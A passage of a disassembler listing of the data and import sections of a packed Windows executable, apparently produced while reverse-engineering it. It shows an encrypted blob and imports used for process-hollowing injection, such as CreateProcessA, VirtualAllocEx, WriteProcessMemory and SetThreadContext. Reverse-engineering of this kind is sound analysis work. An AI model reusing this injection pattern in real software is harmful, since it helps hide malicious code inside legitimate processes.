		dd 2 dup(4001DED8h), 2 dup(4001DEE0h), 2 dup(4001DEE8h)
		dd 2 dup(4001DEF0h), 2 dup(4001DEF8h), 2 dup(4001DF00h)
		dd 2 dup(4001DF08h), 2 dup(4001DF10h), 2 dup(4001DF18h)
		dd 2 dup(4001DF20h), 2 dup(4001DF28h), 2 dup(4001DF30h)
		dd 2 dup(4001DF38h), 2 dup(4001DF40h), 2 dup(4001DF48h)
		dd 2 dup(4001DF50h), 2 dup(4001DF58h), 2 dup(4001DF60h)
		dd 2 dup(4001DF68h), 2 dup(4001DF70h), 2 dup(4001DF78h)
		dd 2 dup(4001DF80h), 2 dup(4001DF88h), 2 dup(4001DF90h)
		dd 2 dup(4001DF98h), 2 dup(4001DFA0h), 2 dup(4001DFA8h)
		dd 2 dup(4001DFB0h), 2 dup(4001DFB8h), 2 dup(4001DFC0h)
		dd 2 dup(4001DFC8h), 2 dup(4001DFD0h), 2 dup(4001DFD8h)
		dd 2 dup(4001DFE0h), 2 dup(4001DFE8h), 2 dup(4001DFF0h)
		dd 2 dup(4001DFF8h), 2 dup(4001E000h), 2 dup(4001E008h)
		dd 2 dup(4001E010h), 2 dup(4001E018h), 2 dup(4001E020h)
		dd 2 dup(4001E028h), 2 dup(4001E030h), 2 dup(4001E038h)
		dd 2 dup(4001E040h), 2 dup(4001E048h), 2 dup(4001E050h)
		dd 2 dup(4001E058h), 2 dup(4001E060h), 2 dup(4001E068h)
		dd 2 dup(4001E070h), 2 dup(4001E078h), 2 dup(4001E080h)
		dd 2 dup(4001E088h), 2 dup(4001E090h), 2 dup(4001E098h)
		dd 2 dup(4001E0A0h), 2 dup(4001E0A8h), 2 dup(4001E0B0h)
		dd 2 dup(4001E0B8h), 2 dup(4001E0C0h), 2 dup(4001E0C8h)
		dd 2 dup(4001E0D0h), 2 dup(4001E0D8h), 2 dup(4001E0E0h)
		dd 2 dup(4001E0E8h), 2 dup(4001E0F0h), 2 dup(4001E0F8h)
		dd 2 dup(4001E100h), 2 dup(4001E108h), 2 dup(4001E110h)
		dd 2 dup(4001E118h), 2 dup(4001E120h), 2 dup(4001E128h)
		dd 2 dup(4001E130h), 2 dup(4001E138h), 2 dup(4001E140h)
		dd 2 dup(4001E148h), 2 dup(4001E150h), 2 dup(4001E158h)
		dd 2 dup(4001E160h), 2 dup(4001E168h), 2 dup(4001E170h)
		dd 2 dup(4001E178h), 2 dup(4001E180h), 2 dup(4001E188h)
		dd 2 dup(4001E190h), 2 dup(4001E198h), 2 dup(4001E1A0h)
		dd 2 dup(4001E1A8h), 2 dup(4001E1B0h), 2 dup(4001E1B8h)
		dd 2 dup(4001E1C0h), 2 dup(4001E1C8h), 2 dup(4001E1D0h)
		dd 2 dup(4001E1D8h), 2 dup(4001E1E0h), 2 dup(4001E1E8h)
		dd 2 dup(4001E1F0h), 2 dup(4001E1F8h), 2 dup(4001E200h)
		dd 2 dup(4001E208h), 2 dup(4001E210h), 2 dup(4001E218h)
		dd 2 dup(4001E220h), 2 dup(4001E228h), 2 dup(4001E230h)
		dd 2 dup(4001E238h), 2 dup(4001E240h), 2 dup(4001E248h)
		dd 2 dup(4001E250h), 2 dup(4001E258h), 2 dup(4001E260h)
		dd 2 dup(4001E268h), 2 dup(4001E270h), 2 dup(4001E278h)
		dd 2 dup(4001E280h), 2 dup(4001E288h), 2 dup(4001E290h)
		dd 2 dup(4001E298h), 2 dup(4001E2A0h), 2 dup(4001E2A8h)
		dd 2 dup(4001E2B0h), 2 dup(4001E2B8h), 2 dup(4001E2C0h)
		dd 2 dup(4001E2C8h), 2 dup(4001E2D0h), 2 dup(4001E2D8h)
		dd 2 dup(4001E2E0h), 2 dup(4001E2E8h), 2 dup(4001E2F0h)
		dd 2 dup(4001E2F8h), 2 dup(4001E300h), 2 dup(4001E308h)
		dd 2 dup(4001E310h), 2 dup(4001E318h), 2 dup(4001E320h)
		dd 2 dup(4001E328h), 2 dup(4001E330h), 2 dup(4001E338h)
		dd 2 dup(4001E340h), 2 dup(4001E348h), 2 dup(4001E350h)
		dd 2 dup(4001E358h), 2 dup(4001E360h), 2 dup(4001E368h)
		dd 2 dup(4001E370h), 2 dup(4001E378h), 2 dup(4001E380h)
		dd 2 dup(4001E388h), 2 dup(4001E390h), 2 dup(4001E398h)
		dd 2 dup(4001E3A0h), 2 dup(4001E3A8h), 2 dup(4001E3B0h)
		dd 2 dup(4001E3B8h), 2 dup(4001E3C0h), 2 dup(4001E3C8h)
		dd 2 dup(4001E3D0h), 2 dup(4001E3D8h), 2 dup(4001E3E0h)
		dd 2 dup(4001E3E8h), 2 dup(4001E3F0h), 2 dup(4001E3F8h)
		dd 2 dup(4001E400h), 2 dup(4001E408h), 2 dup(4001E410h)
		dd 2 dup(4001E418h), 2 dup(4001E420h), 2 dup(4001E428h)
		dd 2 dup(4001E430h), 2 dup(4001E438h), 2 dup(4001E440h)
		dd 2 dup(4001E448h), 2 dup(4001E450h), 2 dup(4001E458h)
		dd 2 dup(4001E460h), 2 dup(4001E468h), 2 dup(4001E470h)
		dd 2 dup(4001E478h), 2 dup(4001E480h), 2 dup(4001E488h)
		dd 2 dup(4001E490h), 2 dup(4001E498h), 2 dup(4001E4A0h)
		dd 2 dup(4001E4A8h), 2 dup(4001E4B0h), 2 dup(4001E4B8h)
		dd 2 dup(4001E4C0h), 2 dup(4001E4C8h), 2 dup(4001E4D0h)
		dd 2 dup(4001E4D8h), 2 dup(4001E4E0h), 2 dup(4001E4E8h)
		dd 2 dup(4001E4F0h), 2 dup(4001E4F8h), 2 dup(4001E500h)
		dd 2 dup(4001E508h), 2 dup(4001E510h), 2 dup(4001E518h)
		dd 2 dup(4001E520h), 2 dup(4001E528h), 2 dup(4001E530h)
		dd 2 dup(4001E538h), 2 dup(4001E540h), 2 dup(4001E548h)
		dd 2 dup(4001E550h), 2 dup(4001E558h), 2 dup(4001E560h)
		dd 2 dup(4001E568h), 2 dup(4001E570h), 2 dup(4001E578h)
		dd 2 dup(4001E580h), 2 dup(4001E588h), 2 dup(4001E590h)
		dd 2 dup(4001E598h), 2 dup(4001E5A0h), 2 dup(4001E5A8h)
		dd 2 dup(4001E5B0h), 2 dup(4001E5B8h), 2 dup(4001E5C0h)
		dd 2 dup(4001E5C8h), 2 dup(4001E5D0h), 2 dup(4001E5D8h)
		dd 2 dup(4001E5E0h), 2 dup(4001E5E8h), 2 dup(4001E5F0h)
		dd 2 dup(4001E5F8h), 2 dup(4001E600h), 2 dup(4001E608h)
		dd 2 dup(4001E610h), 2 dup(4001E618h), 2 dup(4001E620h)
		dd 2 dup(4001E628h), 2 dup(4001E630h), 2 dup(4001E638h)
		dd 2 dup(4001E640h), 2 dup(4001E648h), 2 dup(4001E650h)
		dd 2 dup(4001E658h), 2 dup(4001E660h), 2 dup(4001E668h)
		dd 2 dup(4001E670h), 2 dup(4001E678h), 2 dup(4001E680h)
		dd 2 dup(4001E688h), 2 dup(4001E690h), 2 dup(4001E698h)
		dd 2 dup(4001E6A0h), 2 dup(4001E6A8h), 2 dup(4001E6B0h)
		dd 2 dup(4001E6B8h), 2 dup(4001E6C0h), 2 dup(4001E6C8h)
		dd 2 dup(4001E6D0h), 2 dup(4001E6D8h), 2 dup(4001E6E0h)
		dd 2 dup(4001E6E8h), 2 dup(4001E6F0h), 2 dup(4001E6F8h)
		dd 2 dup(4001E700h), 2 dup(4001E708h), 2 dup(4001E710h)
		dd 2 dup(4001E718h), 2 dup(4001E720h), 2 dup(4001E728h)
		dd 2 dup(4001E730h), 2 dup(4001E738h), 2 dup(4001E740h)
		dd 2 dup(4001E748h), 2 dup(4001E750h), 2 dup(4001E758h)
		dd 2 dup(4001E760h), 2 dup(4001E768h), 2 dup(4001E770h)
		dd 2 dup(4001E778h), 2 dup(4001E780h), 2 dup(4001E788h)
		dd 2 dup(4001E790h), 2 dup(4001E798h), 2 dup(4001E7A0h)
byte_4001E7A8	db 0			; DATA XREF: sub_40001654+12o
					; sub_40001654:loc_4000167Fo ...
		align 4
dword_4001E7AC	dd 7FF60000h						; sub_40002540:loc_4000266Ao ...
dword_4001E7B0	dd 7FEA0000h						; sub_40001694+46w ...
		dd 2 dup(0)
dword_4001E7BC	dd 0							; sub_400022F0+59w ...
byte_4001E7C0	db 0			; DATA XREF: sub_400022F0+12o
					; sub_400022F0:loc_4000231Bo ...
		align 4
dword_4001E7C4	dd 0							; sub_40002BB4+9r ...
dword_4001E7C8	dd 0							; sub_40004790+4o
dword_4001E7CC	dd 12FFB4h						; sub_400044F0+2r
off_4001E7D0	dd offset dword_4001830C ; DATA	XREF: sub_40004518+6r
					; sub_4000457C+7r ...
dword_4001E7D4	dd 1Bh							; sub_40004518+2Bw ...
off_4001E7D8	dd offset dword_4001A7B4 ; DATA	XREF: sub_400045E4+20w
		dd 6 dup(0)
byte_4001E7F4	db 0			; DATA XREF: sub_40006428r
byte_4001E7F5	db 0			; DATA XREF: sub_400190AC+2Er
		align 4
dword_4001E7F8	dd 40000000h						; sub_40006474+16r ...
dword_4001E7FC	dd 0		dword_4001E800	dd 0FFFFFFFFh						; .itext:loc_40019098w
dword_4001E804	dd 0							; sub_40006758+22r ...
dword_4001E808	dd 0A24E58h						; sub_4000BE64+52o ...
byte_4001E80C	db 0			; DATA XREF: sub_40008800+24r
					; sub_4000BE64+7Bw
byte_4001E80D	db 0			; DATA XREF: sub_40008800+2Cr
					; sub_4000BE64+9Fw
byte_4001E80E	db 2Ch			; DATA XREF: sub_40008800+14r
					; sub_4000BE64+B2w
byte_4001E80F	db 2Eh			; DATA XREF: sub_40008800+Cr
					; sub_40008D00+14r ...
byte_4001E810	db 2			; DATA XREF: sub_4000843E+1F9r
					; sub_4000BE64+E9w
byte_4001E811	db 2Fh			; DATA XREF: sub_400096A8:loc_40009D5Br
					; sub_400096A8+6C4o ...
		align 4
dword_4001E814	dd 0A2C230h						; sub_400096A8+660r ...
dword_4001E818	dd 0A3A858h						; sub_4000BE64+151o ...
byte_4001E81C	db 3Ah			; DATA XREF: sub_400096A8:loc_40009D7Er
					; sub_400096A8+6E3o ...
		align 10h
dword_4001E820	dd 0A24E98h						; sub_4000A1CC+299r ...
dword_4001E824	dd 0A24EA8h						; sub_4000A1CC+2C3r ...
dword_4001E828	dd 0A2C248h						; sub_4000A1CC+24Dr ...
dword_4001E82C	dd 0A3A878h						; sub_400096A8+4A7r ...
dword_4001E830	dd 0A24D18h, 0A24D28h, 0A24D38h, 0A24D48h, 0A24D58h, 0A24D78h
					; DATA XREF: sub_4000A91C+29o
					; sub_4000CC50+9Fo
		dd 0A24D88h, 0A24D98h, 0A24DA8h, 0A24DB8h, 0A24DC8h
dword_4001E85C	dd 0A24DD8h	dword_4001E860	dd 0A2C080h, 0A2C098h, 0A2C0B0h, 0A2C0C8h, 0A24D68h, 0A2C0E0h
					; DATA XREF: sub_4000A91C+2Eo
					; sub_4000CC50+B4o
		dd 0A2C0F8h, 0A2C110h, 0A2C128h, 0A2C140h, 0A2C158h
dword_4001E88C	dd 0A2C170h						; sub_400096A8+629r
dword_4001E890	dd 0A24DE8h, 0A24DF8h, 0A24E08h, 0A24E18h, 0A24E28h, 0A24E38h
					; DATA XREF: sub_4000A91C+8Ao
					; sub_4000CC50+C9o
dword_4001E8A8	dd 0A24E48h						; sub_400096A8+5E3r
dword_4001E8AC	dd 0A2C188h, 0A2C1A0h, 0A2C1B8h, 0A2C1D0h, 0A2C1E8h, 0A2C200h
					; DATA XREF: sub_4000A91C+8Fo
					; sub_4000CC50+DEo
		dd 0A2C218h
dword_4001E8C8	dd 409h		dword_4001E8CC	dd 9							; sub_4000A170+6r ...
dword_4001E8D0	dd 1		dword_4001E8D4	dd 2C0100h						; sub_4000AA40:loc_4000AA54r ...
dword_4001E8D8	dd 6 dup(0)						; sub_4000CC50+F3o
dword_4001E8F0	dd 0							; sub_4000AA7C+43w
dword_4001E8F4	dd 0							; sub_4000A1CC+A6r ...
		dd 6 dup(0)
dword_4001E910	dd 0							; sub_40007E2C+10o ...
dword_4001E914	dd 0							; sub_40007E2C+47o ...
dword_4001E918	dd 0FFFFFFFFh						; sub_400190AC+11w
dword_4001E91C	dd 0A2C048h						; sub_4000B72C+12w ...
dword_4001E920	dd 0A2C060h						; sub_4000B72C+29w ...
byte_4001E924	db 0			; DATA XREF: sub_4000C230+CBr
					; sub_4000C230+F3r ...
		align 4
		dd 3Fh dup(0)
dword_4001EA24	dd 100h	dup(0)	dword_4001EE24	dd 100h	dup(0)	dword_4001F224	dd 0		dword_4001F228	dd 77126AEAh						; .data:off_4001B064o
dword_4001F22C	dd 771993C5h	dword_4001F230	dd 7713C84Ah	dword_4001F234	dd 7713A795h	dword_4001F238	dd 7713B747h	dword_4001F23C	dd 77199F08h	dword_4001F240	dd 7713BF93h	dword_4001F244	dd 7719ABC6h	dword_4001F248	dd 7719AD1Ah	dword_4001F24C	dd 7713A911h	dword_4001F250	dd 7713B999h	dword_4001F254	dd 7719A9F4h	dword_4001F258	dd 77139F38h	dword_4001F25C	dd 7714F193h						; .data:off_4001B0B0o
dword_4001F260	dd 7714F33Ch	dword_4001F264	dd 7713C5FAh						; .data:off_4001AFF0o
dword_4001F268	dd 7716D9A8h						; .data:off_4001AF3Co
dword_4001F26C	dd 77162626h						; .data:off_4001B0A0o
dword_4001F270	dd 77150154h						; .data:off_4001AFC0o
dword_4001F274	dd 7716386Bh						; .data:off_4001AF04o
dword_4001F278	dd 7714521Ah						; .data:off_4001AFC8o
dword_4001F27C	dd 771500F2h						; .data:off_4001B058o
dword_4001F280	dd 0FFFFFFFFh	dword_4001F284	dd 0Ah,	0						; sub_40019144+1Ao
		dd 80020004h, 0
off_4001F294	dd offset sub_400166E8	; DATA XREF: sub_40019144+29w
					; .data:off_4001B02Co
off_4001F298	dd offset sub_4000DC90	; DATA XREF: sub_4000E35C+3Ar
					; sub_40019144+33w
off_4001F29C	dd offset sub_4000DBA0	; DATA XREF: sub_4000E744+33r
					; sub_4000ECE8+2Dr ...
off_4001F2A0	dd offset sub_4000DC90	; DATA XREF: sub_4000E654+5Dr
					; sub_40019144+43w
dword_4001F2A4	dd 0FFFFFFFFh						; sub_40019144+11w
dword_4001F2A8	dd 0							; sub_40012C6C+38r ...
dword_4001F2AC	dd 146F68h, 0FFFFFFFFh,	4 dup(0)					; sub_40012AF4:loc_40012B4Ao ...
dword_4001F2C4	dd 0FFFFFFFFh						; .itext:loc_400191F0w
dword_4001F2C8	dd 0A333FCh						; sub_40013ED4+5Fo ...
dword_4001F2CC	dd 48h							; sub_40013E14+1Fr ...
dword_4001F2D0	dd 0FFFFFFFFh						; sub_400191F8+11w
dword_4001F2D4	dd 0A41B78h						; sub_40013E60+6r ...
dword_4001F2D8	dd 0A41B50h						; sub_40013510+20r ...
dword_4001F2DC	dd 0		dword_4001F2E0	dd 0A41BA0h						; sub_40013CE4+1Cr ...
dword_4001F2E4	dd 146F90h, 0FFFFFFFFh,	4 dup(0)					; sub_40013E48o
dword_4001F2FC	dd 0FFFFFFFFh						; .itext:loc_4001928Cw
dword_4001F300	dd 0FFFFFFFFh						; .itext:loc_40019294w
dword_4001F304	dd 9F0804B2h	dword_4001F308	dd 0FFFFFFFFh						; .itext:4001929Eo
		dd 60h
dword_4001F310	dd 1B00017h						; .itext:400192C8r
dword_4001F314	dd 1900015h						; .itext:400192D4r
dword_4001F318	dd 18A0021h						; sub_40015918+14r ...
dword_4001F31C	dd 10003h	dword_4001F320	dd 145BA8h, 0FFFFFFFFh,	4 dup(0)					; .itext:400192AFo
dword_4001F338	dd 145BD0h, 0FFFFFFFFh,	4 dup(0)					; sub_40015358+10o ...
dword_4001F350	dd 0A41BC8h						; sub_40014F8C:loc_40015175r ...
dword_4001F354	dd 0A41BF0h						; sub_400151D0:loc_4001524Br ...
dword_4001F358	dd 0A41C18h						; sub_40015270:loc_40015333r ...
dword_4001F35C	dd 0A41C90h						; .itext:40019369w
dword_4001F360	dd 0A41C40h	dword_4001F364	dd 0FFFFFFFFh						; .itext:loc_40019398w
byte_4001F368	db 0			; DATA XREF: sub_40016AB0+19w
		align 4
dword_4001F36C	dd 0		dword_4001F370	dd 0							; sub_40016A34+9r ...
byte_4001F374	db 0			; DATA XREF: sub_40016A34+37w
					; sub_40016A34+76w ...
		align 4
dword_4001F378	dd 7C8328F7h	; resolved to->KERNEL32.ResumeThread					; sub_40017A1C+2FEr
dword_4001F37C	dd 7C862A69h	; resolved to->KERNEL32.SetThreadContext					; sub_40017A1C+2F4r
dword_4001F380	dd 7C809A72h	; resolved to->KERNEL32.VirtualAllocEx					; sub_40017A1C+293r
dword_4001F384	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemory					; sub_40017A1C+277r
dword_4001F388	dd 7C83970Dh	; resolved to->KERNEL32.GetThreadContext					; sub_40017A1C+259r
dword_4001F38C	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_40017A1C+1F9r ...
dword_4001F390	dd 7C8260C2h	; resolved to->KERNEL32.FreeResourcedword_4001F394	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_4001F398	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResourcedword_4001F39C	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_4001F3A0	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_4001F3A4	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_400173FC+29Br
dword_4001F3A8	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemory					; sub_40017A1C+2B0r ...
dword_4001F3AC	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_40017A1C+66r ...
dword_4001F3B0	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4001F3B4	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_40017D84+45r
dword_4001F3B8	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_40017D84+54r ...
dword_4001F3BC	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_40017D84+67r ...
dword_4001F3C0	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_40017D84+F1r
dword_4001F3C4	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_40017D84+13Cr ...
dword_4001F3C8	dd 3Fh dup(0)						; sub_40016FD8+58o
		dd 8A000000h
byte_4001F4C8	db 31h			; DATA XREF: sub_40016FD8+2Do
					; sub_40016FD8+53o ...
		db 0C9h, 5, 7Ah
		dd 8D1D5303h, 7208B9F2h, 9AED189h, 0E5AF81FBh, 4DE21944h
		dd 0B05F0E32h, 0DA33A648h, 0E911CF88h, 0D9287B55h, 0E08C2DD8h
		dd 4CB446A1h, 0CDF9F1ABh, 4A39E52h, 4F5163A9h, 0F791DD17h
		dd 0CEB3E342h, 0FC3483BEh, 0E8CB1EC6h, 0A7EEAD12h, 60953C5Eh
		dd 0FAA0BF39h, 7E400C0h, 0DEDB8A92h, 0C24A930Fh, 715C7037h
		dd 9C9DB764h, 670B245Ah, 699A2694h, 9B66301Fh, 8062477Ch
		dd 0D32FB61Bh, 75FD61DCh, 0ACC4A4D4h, 0EBA20179h, 5D6F495Bh
		dd 3DAA1836h, 6CC43BCh,	54F6788Eh, 0A816BAE1h, 4E73BB15h
		dd 6835D20Dh, 8B7E87EAh, 0BDE66A22h, 29F4CAD5h,	20B1D674h
		dd 97029977h, 65C558C8h, 507F0AF0h, 45C382B5h, 3E57FF59h
		dd 0EF8F1AEDh, 0FE902C6Ch, 0C198409Fh, 6D1C106Bh, 863B13F3h
		dd 0CB8E7DFh, 0A596844Bh, 0D038C776h, 562B3AB2h, 25218527h
		dd 0F8D723F5h, 6E14EC3Fh, 2E7D412Ah
dword_4001F5C8	dd 7FF00010h						; .itext:4001982Dr ...
dword_4001F5CC	dd 0							; .itext:400198A3o ...
dword_4001F5D0	dd 0							; .itext:400198C2r ...
dword_4001F5D4	dd 42h dup(0)						; .itext:40019907o
dword_4001F6DC	dd 0							; .itext:40019A45r
dword_4001F6E0	dd 2							; sub_40017F10+17r ...
dword_4001F6E4	dd 4002B378h, 4	dup(0)dword_4001F6F8	dd 53h dup(0)						; .itext:400199E6o ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: .itext:4001956Eo
					; .itext:40019584o ...
		align 10h
		dd 3Bh dup(0)
dword_4001F94C	dd 0							; .itext:400195CAo ...
dword_4001F950	dd 0A24EB8h						; .itext:40019673o ...
dword_4001F954	dd 0A1DA68h						; .itext:400196DFo ...
dword_4001F958	dd 7FEA0018h						; .itext:40019713o ...
dword_4001F95C	dd 27511h						; .itext:40019707o ...
dword_4001F960	dd 4200h						; .itext:400195ADr
dword_4001F964	dd 10h dup(0)						; .itext:400195D6o
		db 0
byte_4001F9A5	db 49h,	5Ah, 4Ah	; DATA XREF: .itext:40019635o
		dd 0Ah dup(0)
		db 2 dup(0)
word_4001F9D2	dw 0			; DATA XREF: .itext:40019865o
		dd 0Fh dup(0)
		db 3 dup(0)
byte_4001FA13	db 5Dh			; DATA XREF: .itext:4001963Fo
		dd 574D4126h, 7F515549h, 4C454454h, 77595B4Dh, 0F594862h
		dd 58515060h, 17515B5Dh, 534E5C75h, 4F625953h, 266B7569h
		dd 527D102Dh, 1E534D51h, 59751815h, 56480258h, 4Ah, 1031h dup(0)
dword_40023B14	dd 0				dd 0
dword_40023B1C	dd 0							; .itext:400195DBr ...
		dd 0
dword_40023B24	dd 3, 9	dup(0)	dword_40023B4C	dd 1Bh							; .itext:4001968Er ...
dword_40023B50	dd 0							; .itext:40019688r ...
dword_40023B54	dd 3Fh							; .itext:4001969Ar ...
dword_40023B58	dd 0							; .itext:40019694r ...
byte_40023B5C	db 1			; DATA XREF: .itext:loc_400197E0r
byte_40023B5D	db 1			; DATA XREF: .itext:400197AEr
		align 10h
		dd 0
dword_40023B64	dd 0							; .itext:40019630w ...
aCWindowsSyst_0	db 'C:\WINDOWS\system32',0 ; DATA XREF: .itext:40019498o
					; .itext:400194D1o ...
		dd 3Bh dup(0)
dword_40023C68	dd 0		dword_40023C6C	dd 0		dword_40023C70	dd 0		dword_40023C74	dd 0		dword_40023C78	dd 0							; .itext:40019457r
aCWindowsSystem	db 'C:\WINDOWS\system32',0 ; DATA XREF: .itext:40019428o
					; .itext:40019437o
		dd 6Dh dup(0)
aIfb		db '¨f¡',0              ; DATA XREF: .itext:40019432o
					; .itext:40019446o
dword_40023E48	dd 27511h						; .itext:40019736r ...
dword_40023E4C	dd 55000h						; .itext:4001980Br ...
dword_40023E50	dd 0							; .itext:400199FFr ...
		align 200h
_bss		ends

; Section 5. (virtual address 00024000)
; Virtual size			: 00001134 (   4404.)
; Section size in file		: 00001134 (   4404.)
; Offset to raw	data for section: 00024000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 40024000h
		dd 24140h, 2 dup(0)
		dd 24678h, 243DCh, 24150h, 2 dup(0)
		dd 246C0h, 243ECh, 24160h, 2 dup(0)
		dd 24700h, 243FCh, 24178h, 2 dup(0)
		dd 24756h, 24414h, 24218h, 2 dup(0)
		dd 249F4h, 244B4h, 2422Ch, 2 dup(0)
		dd 24A40h, 244C8h, 24254h, 2 dup(0)
		dd 24AC4h, 244F0h, 242A4h, 2 dup(0)
		dd 24C12h, 24540h, 24368h, 2 dup(0)
		dd 24F64h, 24604h, 24388h, 2 dup(0)
		dd 24FE6h, 24624h, 24394h, 2 dup(0)
		dd 25014h, 24630h, 243A0h, 2 dup(0)
		dd 25040h, 2463Ch, 243A8h, 2 dup(0)
		dd 25056h, 24644h, 243CCh, 2 dup(0)
		dd 250F8h, 24668h, 243D4h, 2 dup(0)
		dd 25118h, 24670h, 5 dup(0)
		dd 24686h, 24696h, 246ACh, 0
		dd 246CEh, 246E2h, 246F2h, 0
		dd 2470Ch, 2471Eh, 2472Eh, 2473Ch, 2474Ah, 0
		dd 24764h, 2476Eh, 24776h, 24784h, 24794h, 247A4h, 247BEh
		dd 247D4h, 247ECh, 24804h, 24814h, 2482Ah, 24840h, 2484Ch
		dd 24858h, 2486Ah, 2487Ch, 2488Eh, 248A0h, 248B4h, 248CAh
		dd 248DCh, 248ECh, 248FEh, 2490Ch, 2491Eh, 2492Ah, 24938h
		dd 24944h, 24960h, 24972h, 24982h, 2498Eh, 2499Ah, 249ACh
		dd 249BCh, 249CAh, 249D8h, 249E6h, 0
		dd 24A02h, 24A10h, 24A1Eh, 24A2Ch, 0
		dd 24A4Ch, 24A58h, 24A66h, 24A74h, 24A80h, 24A94h, 24AA2h
		dd 24AAAh, 24AB6h, 0
		dd 24ACEh, 24AE0h, 24AF0h, 24AFAh, 24B06h, 24B14h, 24B24h
		dd 24B34h, 24B40h, 24B52h, 24B6Ch, 24B7Eh, 24B8Eh, 24BA6h
		dd 24BB6h, 24BC2h, 24BD6h, 24BE6h, 24BFCh, 0
		dd 24C20h, 24C3Eh, 24C4Ah, 24C54h, 24C6Ah, 24C7Ah, 24C82h
		dd 24C94h, 24CA6h, 24CB2h, 24CC0h, 24CCCh, 24CE2h, 24CECh
		dd 24CFCh, 24D0Ch, 24D1Ch, 24D34h, 24D50h, 24D60h, 24D70h
		dd 24D82h, 24D92h, 24DA8h, 24DB8h, 24DCAh, 24DDEh, 24DF4h
		dd 24E06h, 24E16h, 24E26h, 24E40h, 24E54h, 24E66h, 24E7Ch
		dd 24E88h, 24E98h, 24EA6h, 24EB8h, 24EC8h, 24ED6h, 24EEAh
		dd 24F02h, 24F1Ah, 24F28h, 24F38h, 24F44h, 24F56h, 0
		dd 24F72h, 24F84h, 24F98h, 24FA8h, 24FB6h, 24FC8h, 24FD6h
		dd 0
		dd 24FF4h, 25004h, 0
		dd 2501Eh, 25030h, 0
		dd 2504Eh, 0
		dd 25064h, 2507Ah, 25090h, 250A6h, 250B8h, 250CCh, 250DAh
		dd 250EAh, 0
		dd 25102h, 0
		dd 25124h, 0
dword_400243DC	dd 77124880h	dword_400243E0	dd 771544ADh	dword_400243E4	dd 77124BA7h			dd 0
dword_400243EC	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_400243F0	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_400243F4	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey		dd 0
dword_400243FC	dd 7E43119Bh	; resolved to->USER32.GetKeyboardTypedword_40024400	dd 7E41DAEAh	; resolved to->USER32.DestroyWindowdword_40024404	dd 7E42DFA8h	; resolved to->USER32.LoadStringAdword_40024408	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_4002440C	dd 7E42DF50h	; resolved to->USER32.CharNextA		dd 0
dword_40024414	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_40024418	dd 7C802442h	; resolved to->KERNEL32.Sleepdword_4002441C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_40024420	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_40024424	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_40024428	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounterdword_4002442C	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_40024430	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrementdword_40024434	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrementdword_40024438	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuerydword_4002443C	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiBytedword_40024440	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChardword_40024444	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenAdword_40024448	dd 7C810111h	; resolved to->KERNEL32.lstrcpynAdword_4002444C	dd 7C801D4Fh	; resolved to->KERNEL32.LoadLibraryExAdword_40024450	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_40024454	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_40024458	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4002445C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_40024460	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_40024464	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_40024468	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_4002446C	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_40024470	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_40024474	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_40024478	dd 7C80EDD7h	; resolved to->KERNEL32.FindClosedword_4002447C	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_40024480	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; .text:loc_400033E4r
